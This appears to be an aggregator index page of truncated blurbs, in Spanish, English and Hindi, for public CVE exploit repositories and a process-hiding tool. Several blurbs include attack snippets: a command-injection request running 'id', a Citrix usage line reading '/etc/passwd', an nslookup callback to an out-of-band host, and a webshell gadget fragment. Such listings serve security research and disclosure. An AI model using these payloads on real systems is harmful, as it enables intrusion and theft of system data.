CVE-2025-25747-HotelDruid-3-0-7-Reflected-XSS

CVE-2025-25747 - Vulnerabilidad XSS Reflejado en HotelDruid 3.0.7 Descripción Vulnerabilidad de Cross Site Scripting en DigitalDruid HotelDruid v.3.0.7 permite a un atacante ejecutar código arbitrario y obtener información sensible a través del parámetro ripristinabackup en el endpoint...

exploit-CVE-2016-10034

PHPMailer 5.2.18 Ejecución remota de código PHPMailer es la clase de transporte más popular del mundo, con un estimado de 9 millones de usuarios en todo el mundo. Las descargas continúan a un ritmo significativo a diario. Utilizado por muchos proyectos de código abierto: WordPress, Drupal, 1CRM,...

CVE-2025-47812

CVE-2025-47812 — Wing FTP Server RCE sin autenticación root@kitploit: ██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗ ██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗ ██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝ ██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝ ╚███╔███╔╝██║██║...

CVE-2024-29973

CVE-2024-29973 root@kitploit: GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Languag...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

mimic

mimic mimic es una herramienta para ejecución encubierta en Linux x8664. ¿Qué es la "ejecución encubierta"? La ejecución encubierta es el arte de ocultar un proceso. En este caso, mimic oculta el proceso a plena vista. mimic puede lanzar cualquier programa y hacerlo parecer cualquier otro program...

CVE-2021-3493_CVE-2022-3357

NOTE 1. This is a GitHub repository containing source code and research information about 2 CVEs: CVE-2021-3493 and CVE-2022-3357, respectively a CVE allowing privilege escalation and a CVE allowing RCE intrusion. If we combine these two CVEs, we can infiltrate a WordPress server and if that serv...

CVE-2022-21907

CVE-2022-21907 - HTTP Protocol Stack Remote Code Execution Vulnerability ⚠️ For educational and authorized security research purposes only Original Exploit Authors Very grateful to the original PoC author NU11SECURITY and michelep Description: HTTP Protocol Stack Remote Code Execution...

Penetration-Testing-Assessment-23-04-2026

Informe de Pruebas de Penetración – Explotación de IIS WebDAV Resumen Este proyecto demuestra un ciclo de vida completo de pruebas de penetración realizado en un sistema objetivo vulnerable. La evaluación sigue un enfoque estructurado que incluye reconocimiento, escaneo, enumeración, explotación ...

n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

n8n God Mode Ultimate - CVE-2025-68613 स्कैनर और शोषण ढांचा उन्नत n8n कार्यप्रवाह स्वचालन RCE स्कैनर और शोषण उपकरण 🎯 अवलोकन n8n God Mode Ultimate एक व्यापक सुरक्षा परीक्षण ढांचा है जो n8n कार्यप्रवाह स्वचालन प्लेटफार्मों में CVE-2025-68613 का पता लगाने और मान्य करने के लिए डिज़ाइन किया गया है। यह...

CVE-2025-32434-exploit

Resumen Este exploit demuestra una vulnerabilidad crítica de ejecución remota de código CVE-2025-32434 en versiones de PyTorch /tmp/whoami" Test the exploit loads the model to verify RCE python3 exploit.py -c "id" -t Advanced exploit variant with alternative bypass python3 exploit.py --advanced -...

CVE-2021-21983

CVE-2021-21975 VMware vRealize Operations vROps Manager API Arbitrary File Write Leads to Remote Code Execution RCE vRealize Operations vROps is a tool that self-driving IT operations management powered by AI from apps to infrastructure to optimize, plan and scale VMware Cloud and HCI deployments...

PRTG-Network-Monitor-18.2.38---Authenticated-Remote-Code-Execution-CVE-2018-9276

Ejecución remota de código en PRTG Network Monitor autenticado Basado en https://www.exploit-db.com/exploits/46527 Uso: simplemente edite manualmente el script para incluir su URL de destino, nombre de usuario de administrador y contraseña de la siguiente manera: root@kitploit: TARGET =...

CVE-2020-13151

CVE-2020-13151 POC Aerospike Database 5.1.0.3 Ejecución de Comandos en el Host Artículo completo en @ https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html poc.lua muestra la explotación manual del servidor cve2020-13151.py para explotación automatizada run-poc.sh...

CVE-2025-50286

Grav Admin Direct Install RCE CVE-2025-50286 Módulo de Metasploit y configuración de laboratorio para ejecución remota de código autenticada en la funcionalidad de instalación directa del plugin Grav Admin. Resumen CVE: CVE-2025-50286 Impacto: RCE autenticado Vector: Panel de administración →...

CVE-2024-0757-Exploit

CVE-2024-0757 Exploit Descripción El plugin Insert or Embed Articulate Content into WordPress para WordPress es vulnerable a subidas arbitrarias de archivos a través de subidas inseguras de archivos en un archivo zip en todas las versiones hasta, e incluyendo, la 4.3000000023. Esto permite que...

Lenovo-CVE-2025-8061

CVE-2025-8061 es una vulnerabilidad de escalada de privilegios en el controlador LnvMSRIO.sys de Lenovo. El controlador expone manejadores de IOCTL que permiten a cualquier proceso en modo usuario incluyendo usuarios sin privilegios realizar lo siguiente: Leer/escribir arbitrariamente Registros...

Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell with Ice Scorpion root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder;...

CVE-2016-4437

CVE-2016-4437 Python POC to Exploit CVE-2016-4437 Apache Shiro Deserialization Vulnerability Due to Hardcoded Encryption Key Example Usage: ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun See comments and the code for more information...

CVE-2019-19781

CVE-2019-19781 Exploit de Ejecución Remota de Código para Citrix Application Delivery Controller y Citrix Gateway CVE-2019-19781 Uso : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE ejemplo : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd'...